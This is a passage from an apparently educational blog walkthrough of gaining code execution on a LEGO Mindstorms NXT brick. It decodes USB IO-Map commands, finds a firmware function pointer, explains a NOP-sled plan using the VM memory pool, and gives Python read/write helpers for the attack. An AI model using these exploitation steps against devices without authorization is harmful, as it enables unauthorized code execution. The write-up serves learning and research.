&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="se"&gt;\x02\x94\x00\x01\x00\x01\x00\x10\x00&lt;/span&gt;&lt;span class="s1"&gt;MindstormsNXT&lt;/span&gt;&lt;span class="se"&gt;\x00\x00\x00&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p class="aside_q"&gt;Uhh... what?&lt;/p&gt;

&lt;div class="aside_a"&gt;&lt;p&gt;Ah yes. Most people have not invested &lt;em&gt;years&lt;/em&gt; into skills such as staring at hex dumps and raw data. I'll have to give a more detailed explanation.&lt;/p&gt;&lt;/div&gt;

&lt;p&gt;We want to send the "Read IO Map Command" to the NXT. This command is documented on page 20 of the "LEGO MINDSTORMS NXT Communication Protocol" document, and the request is documented to take 10 bytes. Here we're manually inputting each of the bytes using a hexadecimal escape sequence.&lt;/p&gt;
&lt;p&gt;The first two bytes are required to be 0x01 and 0x94: &lt;code&gt;\x01\x94&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;This is followed by the module ID in &lt;em&gt;little-endian&lt;/em&gt; format: &lt;code&gt;\x01\x00\x01\x00&lt;/code&gt;. This corresponds to a module ID of &lt;span class="tabnum"&gt;0x00010001&lt;/span&gt; which is the ID of the VM module.&lt;/p&gt;
&lt;p class="aside_q"&gt;What is little-endian?&lt;/p&gt;

&lt;div class="aside_a"&gt;&lt;div&gt;
&lt;p&gt;When a value is stored using more than one byte, the bytes have to be stored in a particular order, just like how decimal numbers with multiple digits have to be written in a particular order. "Little-endian" is the "opposite" or "backwards" order from how Arabic numerals are written, meaning that the "first" or "leftmost" byte has the lowest place value. This byte is called the "LSB" or "least-significant byte". The "last" or "rightmost" byte has the highest place value and is called the "MSB" or "most-significant byte".&lt;/p&gt;

&lt;p&gt;"Big-endian" is the opposite of little-endian and matches the order of Arabic numerals. The "endian" names are a historical artifact.&lt;/p&gt;

&lt;p&gt;TL;DR it means you have to flip the bytes around&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The next two bytes &lt;code&gt;\x00\x00&lt;/code&gt; correspond to an offset of 0.&lt;/p&gt;
&lt;p&gt;Finally, the last two bytes &lt;code&gt;\x10\x00&lt;/code&gt; correspond to a length of 0x10 or 16.&lt;/p&gt;
&lt;p&gt;In summary, this command means "read 16 bytes from offset 0 of the VM module's IO-Map".&lt;/p&gt;
&lt;p&gt;To actually send the command to the NXT, we write it to USB endpoint 1. To read the response, we send a read command to USB endpoint &lt;span class="tabnum"&gt;0x82&lt;/span&gt; (don't worry about it).&lt;/p&gt;
&lt;div class="aside_q"&gt;&lt;p&gt;But I &lt;em&gt;am&lt;/em&gt; worried about it!&lt;/p&gt;&lt;/div&gt;

&lt;div class="aside_a"&gt;&lt;p&gt;Understanding this requires a minimal understanding of how the USB device framework works. An excellent overview can be found &lt;a href="https://www.beyondlogic.org/usbnutshell/usb3.shtml"&gt;here&lt;/a&gt;. In short, when talking to a USB device, data needs to be sent to or received from specific &lt;em&gt;endpoints&lt;/em&gt;. A device can have multiple endpoints of different types and directions. Each endpoint is identified by an address, which can be found in the USB descriptors. The NXT uses two "bulk" endpoints, one in each direction, and their addresses are &lt;span class="tabnum"&gt;0x01&lt;/span&gt; and &lt;span class="tabnum"&gt;0x82&lt;/span&gt;.&lt;/p&gt;&lt;/div&gt;

&lt;p&gt;If we decode the response according to the documentation, we find that the first bytes &lt;code&gt;\x02\x94&lt;/code&gt; are exactly as specified under the "return package" heading.&lt;/p&gt;
&lt;p&gt;The next byte, &lt;code&gt;\x00&lt;/code&gt;, means that the command succeeded.&lt;/p&gt;
&lt;p&gt;This is followed by a repeat of the module ID &lt;code&gt;\x01\x00\x01\x00&lt;/code&gt; and the requested length &lt;code&gt;\x10\x00&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Finally, we have the data which was read: &lt;code&gt;MindstormsNXT\x00\x00\x00&lt;/code&gt;. This data corresponds to &lt;code&gt;FormatString&lt;/code&gt; &lt;a href="https://github.com/dlech/nxt-firmware/blob/master/AT91SAM7S256/Source/c_cmd.iom#L181"&gt;in the code&lt;/a&gt;, and &lt;a href="https://github.com/dlech/nxt-firmware/blob/master/AT91SAM7S256/Source/c_cmd.c#L1167"&gt;here&lt;/a&gt; it is initialized to the &lt;code&gt;MindstormsNXT&lt;/code&gt; value that we see.&lt;/p&gt;
&lt;p&gt;Let's try reading that function pointer now:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;dev&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="se"&gt;\x01\x94\x01\x00\x01\x00\x10\x00\x04\x00&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;10&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;dev&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;read&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x82&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;B&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;148&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;61&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;13&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;hex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="mi"&gt;13&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="mi"&gt;61&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="s1"&gt;&amp;#39;0x100d3d&amp;#39;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;It helps to see the difference if we line up the two commands:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# First test&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;dev&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="se"&gt;\x01\x94\x01\x00\x01\x00\x00\x00\x10\x00&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="c1"&gt;# Second test&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;dev&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="se"&gt;\x01\x94\x01\x00\x01\x00\x10\x00\x04\x00&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="c1"&gt;# Difference                                 ^^      ^^&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;We've changed the offset from &lt;code&gt;\x00\x00&lt;/code&gt; to &lt;code&gt;\x10\x00&lt;/code&gt; (from 0 to 16). We've changed the length from &lt;code&gt;\x10\x00&lt;/code&gt; to &lt;code&gt;\x04\x00&lt;/code&gt; (from 16 to 4). (Remember that all the numbers are in little-endian!)&lt;/p&gt;
&lt;p&gt;Instead of turning the response into a &lt;code&gt;bytes&lt;/code&gt; object, we leave it as an array. In order to find the "actual data" which was read, we can either manually count all the bytes again, or we can realize that the data is going to be the last 4 bytes: &lt;code&gt;[61, 13, 16, 0]&lt;/code&gt;. The final line of code converts this into the value of &lt;span class="tabnum"&gt;0x100d3d&lt;/span&gt;. This is our function pointer, but what does this number mean?&lt;/p&gt;
&lt;p&gt;If we look at &lt;a href="https://ww1.microchip.com/downloads/en/DeviceDoc/doc6175.pdf"&gt;the datasheet for the AT91SAM7S256 microcontroller&lt;/a&gt; and look at Figure 8-1 "SAM7S512/256/128/64/321/32/161/16 Memory Mapping", we can see that memory addresses in the range &lt;span class="tabnum"&gt;0x001&lt;em&gt;xxxxx&lt;/em&gt;&lt;/span&gt; correspond to the internal flash memory of the chip. The value that we read, &lt;span class="tabnum"&gt;0x100d3d&lt;/span&gt;, is &lt;span class="tabnum"&gt;0xd3d&lt;/span&gt; bytes or about 3 KiB past the beginning of the internal flash memory. This certainly looks like a reasonable function pointer! If we modify this function pointer, we should be able to redirect code execution for "direct" commands to something else.&lt;/p&gt;
&lt;h2&gt;Gaining code execution&lt;/h2&gt;
&lt;p&gt;What, specifically, can we modify this pointer &lt;em&gt;to&lt;/em&gt; in order to gain arbitrary code execution? On a modern system with memory protections and advanced exploit mitigations, this part of the puzzle may end up being a challenging task. However, this microcontroller has none of these features. We should be able to put in &lt;em&gt;any&lt;/em&gt; valid address and have the microcontroller execute that address as code (as long as we've put valid code there).&lt;/p&gt;
&lt;p class="aside_q"&gt;How do you "put valid code somewhere"? What does that actually mean?&lt;/p&gt;

&lt;div class="aside_a"&gt;&lt;div&gt;
&lt;p&gt;Many modern computers are designed so that the computer's instructions can be accessed and manipulated as data. Likewise, data can be treated as instructions. This is certainly the case for the microcontroller in question here. This idea is &lt;em&gt;critically important&lt;/em&gt;. It means that, as long as we can put some &lt;em&gt;data&lt;/em&gt; in some location, and as long as that data happens to represent valid instructions, the CPU will be able to execute it.&lt;/p&gt;

&lt;p&gt;This is not the case on every system. For example, the AVR architecture does not treat instruction memory and data memory as interchangeable. Modern operating systems such as Windows or Android also typically prevent accessing data as instructions (often called &lt;abbr title="Data Execution Prevention"&gt;DEP&lt;/abbr&gt; or &lt;abbr title="No eXecute"&gt;NX&lt;/abbr&gt;) without going through some extra steps. This helps protect against… exactly what we're doing here.&lt;/p&gt;

&lt;p&gt;The fact that we have a simple target which &lt;em&gt;can&lt;/em&gt; freely interchange data and code and which doesn't have modern protections makes this an excellent learning target.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;What addresses can we actually modify the function pointer to? We don't know what the code looks like (that's the whole point of this exercise!), and we don't know precisely how the data memory is laid out either. We can only put in &lt;em&gt;one&lt;/em&gt; address, so what do we do?&lt;/p&gt;
&lt;p&gt;Here's where we get very lucky.&lt;/p&gt;
&lt;p&gt;Inside the VM's IO-Map, there is a &lt;a href="https://github.com/dlech/nxt-firmware/blob/master/AT91SAM7S256/Source/c_cmd.iom#L196"&gt;&lt;code&gt;MemoryPool&lt;/code&gt;&lt;/a&gt; variable corresponding to the data segment of the running NXT program. This variable is &lt;a href="https://github.com/dlech/nxt-firmware/blob/master/AT91SAM7S256/Source/c_cmd.iom#L149"&gt;32 KiB&lt;/a&gt; in size, which means that we have 32 KiB of space that we can safely fill with whatever we want (as long as no program is running).&lt;/p&gt;
&lt;p class="aside_q"&gt;"Safely"?&lt;/p&gt;

&lt;p class="aside_a"&gt;That means that the firmware will not crash if we modify or corrupt the memory pool, since it doesn't get accessed if no user program is running.&lt;/p&gt;

&lt;p&gt;The NXT's microcontroller has a total of 64 KiB of RAM. Observe that 32 KiB is &lt;em&gt;half&lt;/em&gt; of that total. If we assume that the firmware lays out RAM starting from the lowest address and going up, and that the firmware uses more than 0 bytes of RAM (both very reasonable assumptions), there is &lt;em&gt;no possible location&lt;/em&gt; the firmware could put this memory pool that doesn't intersect with the address 32 KiB past the start of RAM, &lt;span class="tabnum"&gt;0x00208000&lt;/span&gt;.&lt;/p&gt;
&lt;p&gt;Since we don't know &lt;em&gt;exactly&lt;/em&gt; where the buffer sits in RAM, we can fill the initial part of the buffer with &lt;code&gt;nop&lt;/code&gt; (no operation) instructions. We put our exploit code at the very end of the buffer. As long as &lt;span class="tabnum"&gt;0x00208000&lt;/span&gt; isn't &lt;em&gt;too&lt;/em&gt; close to the end of the memory pool, it will end up pointing somewhere in the pile of &lt;code&gt;nop&lt;/code&gt;s.&lt;/p&gt;
&lt;p&gt;If we cause the CPU to jump to this address, the CPU will keep executing the &lt;code&gt;nop&lt;/code&gt;s until it finally hits our code. This exploitation technique is called a "NOP slide" or "NOP sled".&lt;/p&gt;
&lt;p&gt;In order to test this out, we need to build a bunch of scaffolding:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;struct&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;subprocess&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;usb.core&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;iomap_rbytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mod&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;off&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;len_&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;cmd&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;struct&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;lt;BBIHH&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x94&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;mod&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;off&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;len_&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;dev&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cmd&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dev&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;read&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x82&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="c1"&gt;# print(result)&lt;/span&gt;
    &lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;[:&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;struct&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;lt;BBBIH&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x94&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;mod&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;len_&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;result_val&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;:]&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;result_val&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;iomap_r32&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mod&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;off&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;cmd&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;struct&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;lt;BBIHH&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x94&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;mod&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;off&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;dev&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cmd&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dev&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;read&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x82&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="c1"&gt;# print(result)&lt;/span&gt;
    &lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;[:&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;struct&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;lt;BBBIH&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x94&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;mod&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;result_val&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;struct&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;unpack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;lt;I&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;:])[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;result_val&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;iomap_w32&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mod&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;off&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;val&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;cmd&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;struct&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;lt;BBIHHI&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x95&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;mod&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;off&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;val&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;dev&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cmd&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dev&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;read&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x82&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="c1"&gt;# print(result)&lt;/span&gt;
    &lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;struct&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;lt;BBBIH&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x95&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;mod&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;testbeep&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;cmd&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="se"&gt;\x00\x03\xff\x00\xff\x00&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;
    &lt;span class="n"&gt;dev&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cmd&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dev&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;read&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x82&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;CMD_MODULE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0x00010001&lt;/span&gt;
&lt;span class="n"&gt;CMD_OFF_FNPTR&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;
&lt;span class="n"&gt;CMD_OFF_MEMPOOL&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;52&lt;/span&gt;

